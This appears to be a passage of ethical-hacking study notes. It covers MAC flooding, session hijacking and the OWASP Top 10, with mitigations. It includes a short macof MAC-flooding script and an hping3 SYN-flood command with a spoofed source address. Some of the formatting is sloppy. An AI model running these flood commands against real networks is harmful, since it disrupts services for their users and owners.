• Cain & Abel: A tool for password recovery, packet sniffing, and network analysis.
MAC Flooding:
• #!/bin/bash
•
• # Step 1: Switch to superuser (root) if not already
• sudo su
•
• # Step 2: Use macof to flood the network
• # Replace eth0/wlan0 with your actual network interface name
• # Replace 1.1.1.1 with the target IP address you want to flood
• # -n1 specifies the number of packets to send
• macof -i eth0/wlan0 -d 1.1.1.1 -n1
Terminal code:
Terminal code:
• hping3 -s 1.1.1.1 -a 1.2.2.3 --flood -p80
session hijacking: is a type of cyber attack where an attacker takes over a user's active
session on a computer system or network service. This allows the attacker to impersonate the
user and gain unauthorized access to sensitive information or perform malicious actions. Here’s
an overview of session hijacking:
Understanding Session Hijacking:
1. Definition: Session hijacking involves intercepting and taking control of a legitimate
user's session after the authentication process has been completed.
2. Methods:
• Packet Sniffing: Monitoring network traffic to capture session identifiers (e.g.,
session cookies).
• Session Prediction: Guessing or predicting session tokens or identifiers.
• Man-in-the-Middle (MitM): Inserting oneself between the user and the server to
capture session tokens.
• Session Fixation: Forcing a user to use a known session identifier controlled by
the attacker.
3. Targets: Session hijacking can target various types of sessions, including web sessions
(HTTP/HTTPS), FTP sessions, SSH sessions, and others where session identifiers are
used for authentication and access control.
Example Scenario:
• HTTP Session Hijacking:
• Method: The attacker intercepts HTTP requests/responses to capture session
cookies.
• Objective: With the session cookie, the attacker can impersonate the user without
needing to know the user's credentials.
Mitigation Techniques:
1. Encryption: Use strong encryption protocols (e.g., HTTPS, SSH) to protect session data
from being intercepted.
2. Secure Session Management: Implement secure session handling practices, such as
expiring sessions after a period of inactivity or using random session identifiers.
3. HTTP Headers: Use HTTP headers like Strict-Transport-Security and
HttpOnly to prevent session hijacking via XSS (Cross-Site Scripting) attacks.
4. Monitoring and Detection: Regularly monitor and analyze network traffic for unusual
activity patterns that may indicate a session hijacking attempt.
5. Session Revocation: Implement mechanisms to invalidate or revoke sessions once
suspicious activity is detected or when a user logs out.
OWASP Top 10 Security Risks and Mitigation Strategies:
Injection
• Description: Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when
untrusted data is sent to an interpreter as part of a command or query.
• Mitigation:
• Use parameterized queries or prepared statements to prevent SQL injection.
• Validate and sanitize input data to block malicious payloads.
• Use ORM (Object-Relational Mapping) frameworks to automatically handle
database queries safely.
• Broken Authentication
• Description: Weaknesses in authentication mechanisms, including improper session
management and credential handling.
• Mitigation:
• Implement multi-factor authentication (MFA) for sensitive actions.
• Use secure session management practices (e.g., tokens with expiration, secure
cookies).
• Enforce strong password policies and ensure password storage is hashed with a
salt.
• Sensitive Data Exposure
• Description: Failure to properly protect sensitive data through encryption, access
controls, or weak configuration settings.
• Mitigation:
• Encrypt sensitive data at rest and in transit using strong encryption algorithms.
• Minimize data collection and retention of sensitive information.
• Implement strict access controls and principle of least privilege.
• XML External Entities (XXE)
• Description: Older or misconfigured XML processors that allow external entities in
XML documents, leading to data exposure, SSRF attacks, or denial-of-service.
• Mitigation:
• Disable XML external entity and DTD (Document Type Definition) processing in
XML parsers.
• Use less complex data formats such as JSON when possible.
• Validate and sanitize XML input against a whitelist of allowed elements and
attributes.
• Broken Access Control
• Description: Inadequate enforcement of restrictions on what authenticated users are
allowed to do, such as unauthorized access to resources or functionality.
• Mitigation:
• Implement access control mechanisms both in front-end (client-side) and back-
end (server-side).
• Enforce authorization checks with roles and permissions.
• Regularly audit access controls to detect and correct misconfigurations.
• Security Misconfiguration
• Description: Security settings that are insecure by default or improperly configured,
including default passwords, unnecessary features enabled, or overly permissive access
controls.
• Mitigation:
• Follow secure deployment practices and guidelines for all components.
• Use automated tools for scanning and auditing configuration settings.
• Regularly update and patch software to mitigate known vulnerabilities.
• Cross-Site Scripting (XSS)
• Description: Vulnerabilities that allow attackers to inject client-side scripts into web
pages viewed by other users.
• Mitigation:
• Implement input validation and output encoding to sanitize user-supplied data.
• Use Content Security Policy (CSP) headers to mitigate XSS attacks.
• Educate developers on secure coding practices to prevent XSS vulnerabilities.
• Insecure Deserialization
• Description: Vulnerabilities in deserialization processes where attackers can execute
arbitrary code or perform denial-of-service attacks.
• Mitigation:
• Avoid or minimize deserialization of untrusted data.
• Validate and sanitize serialized objects before deserialization.
• Use serialization formats that are secure by default (e.g., JSON instead of XML).
• Using Components with Known Vulnerabilities
• Description: Including third-party libraries, frameworks, and components with known
vulnerabilities in applications.
• Mitigation:
• Maintain an inventory of all components and their versions.
• Monitor security mailing lists and apply patches and updates promptly.
• Consider using security tools to scan for vulnerabilities in third-party components.
• Insufficient Logging and Monitoring
• Description: Inadequate logging and monitoring of security-relevant events, making it
difficult to detect and respond to security incidents.
• Mitigation:
• Implement comprehensive logging of all security-relevant events.
• Monitor logs for suspicious activities and establish alerting mechanisms.
• Conduct regular security assessments and incident response drills.